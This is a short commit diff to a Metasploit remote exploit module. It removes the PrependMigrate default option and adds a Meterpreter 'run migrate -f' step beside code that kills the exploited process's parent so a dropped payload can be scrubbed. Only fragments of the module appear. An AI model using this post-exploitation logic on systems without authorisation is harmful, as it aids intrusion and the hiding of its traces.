removed PrependMigrate, introduced migrate -f
parent
2e0a14d719
commit
85479f5994
|
@ -39,7 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PrependMigrate' => true,
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Targets' =>
|
||||
|
@ -208,6 +207,7 @@ Processor-Speed=2659
|
|||
#can't scrub dropped payload while the process is still active so...
|
||||
#iterate through process list, find our process and the associated parent process ID, Kill the parent
|
||||
client.core.use("stdapi")
|
||||
client.console.run_single("run migrate -f")
|
||||
client.sys.process.get_processes().each do |proc|
|
||||
if proc['pid'] == client.sys.process.open.pid
|
||||
client.sys.process.kill(proc['ppid'])
|
||||
|
|
Loading…
Reference in New Issue